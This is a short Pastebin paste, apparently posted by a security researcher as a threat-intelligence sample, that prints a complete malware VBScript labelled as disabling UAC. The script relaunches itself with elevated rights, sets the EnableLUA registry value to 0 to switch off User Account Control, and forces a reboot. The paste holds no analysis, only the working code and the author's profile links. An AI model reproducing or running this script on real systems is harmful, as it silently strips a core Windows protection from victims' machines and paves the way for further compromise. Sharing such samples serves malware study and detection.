Neonprimetime

Malware VBS script disabling UAC

Jun 21st, 2016
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Malware VBS script disabling UAC
  2. *******
  3. If WScript.Arguments.length =0 Then
  4. Set objShell = CreateObject("Shell.Application")
  5. objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
  6. Else
  7. Const UAC_DISABLE = 0
  8. Const UAC_REGKEY = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"
  9. Set Shell = CreateObject( "WScript.Shell" )
  10. Shell.RegWrite UAC_REGKEY, UAC_DISABLE, "REG_DWORD"
  11. Shell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 10"
  12. end if
  13.  
  14. *******
  15. *******
  16. *******
  17. More FROM @neonprimetime security
  18.  
  19. http://pastebin.com/u/Neonprimetime
  20. https://www.virustotal.com/en/USER/neonprimetime/
  21. https://twitter.com/neonprimetime
  22. https://www.reddit.com/USER/neonprimetime
Add Comment
Please, Sign In to add comment